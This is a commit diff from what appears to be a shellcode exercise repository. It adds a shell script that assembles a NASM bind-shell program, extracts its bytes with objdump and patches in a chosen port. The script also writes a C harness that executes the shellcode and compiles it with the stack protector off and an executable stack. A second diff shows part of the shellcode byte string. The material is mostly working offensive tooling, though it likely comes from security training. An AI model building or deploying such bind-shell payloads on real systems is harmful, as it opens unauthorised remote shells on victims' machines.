Significantly improved compile.sh and renamed it to compile_all.sh. Now it is much more easy to configure the port\!

exam1/compile_all.sh

@@ -0,0 +1,74 @@
+#!/usr/bin/env sh
+#
+# Create shellcode with specific port
+#
+# Example
+# ./compile_all.sh shell_bind_tcp 50123
+#
+# If no port specified, the default one will be used 43775
+#
+# Port is stored in last two bytes in HEX
+#
+
+ARG1=$1        # Specify program
+ARG2=$2        # Specify port
+
+
+if [ -z "$ARG1" ]; then
+  echo " [I] Please specify program you would like to assemble!"
+  echo " [I] Example: ./compile_all.sh shell_bin_tcp 50123"
+  exit 1;
+elif ! [ -e "$ARG1".nasm ]; then
+  ARG1_GUESS=$(echo $ARG1 |sed 's/.nasm//g')
+  if [ -e "$ARG1_GUESS" ]; then
+    ARG1=$ARG1_GUESS
+  else
+    echo " [E] File "$ARG1".nasm does not exist!"
+    exit 1;
+  fi
+fi
+
+if ! $(grep -qi ^global $ARG1.nasm 2>/dev/null); then
+  echo " [E] The file "$ARG1.nasm" does not appear to be a correct NASM source!"
+  exit 1;
+fi
+
+
+echo " [+] Assembling "$1".nasm with NASM ..."
+nasm -f elf32 -o $ARG1.o $ARG1.nasm && \
+echo " [+] Linking "$1".o ..." && \
+ld -m elf_i386 -o $ARG1 $ARG1.o && \
+echo -e " [+] Generating shellcode with objdump ..." && \
+SHELLCODE=$(objdump -d ./$ARG1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g')
+
+if [ -z "$ARG2" ]; then
+  FULL_SHELLCODE=$(echo $SHELLCODE)
+else
+  PORT_HEX=$(printf '%.4x' $ARG2 | sed 's/../\\x&/g')
+  FULL_SHELLCODE=$(echo -n $SHELLCODE | sed 's/.........$//' ; echo $PORT_HEX"\"")
+fi
+
+echo -ne " [+] Shellcode size is "$(echo -ne $FULL_SHELLCODE|sed 's/\"//g'|wc -c)" bytes\n"
+echo $FULL_SHELLCODE
+
+
+echo " [+] Generating shellcode.c file with the "$ARG1" shellcode ..."
+cat > shellcode.c << EOF
+#include <stdio.h>
+#include <string.h>
+
+unsigned char code[] = \
+$FULL_SHELLCODE;
+
+main()
+{
+	printf("Shellcode Length:  %d\n", strlen(code));
+	int (*ret)() = (int(*)())code;
+	ret();
+}
+EOF
+
+echo " [+] Compiling shellcode.c with GCC ..."
+gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
+
+echo -e " [+] All done! You can run the shellcode now: \n$ ./shellcode"

exam1/shellcode.c

@@ -6,8 +6,6 @@ unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a
 main()
 {
 	printf("Shellcode Length:  %d\n", strlen(code));
-
 	int (*ret)() = (int(*)())code;
-
 	ret();
 }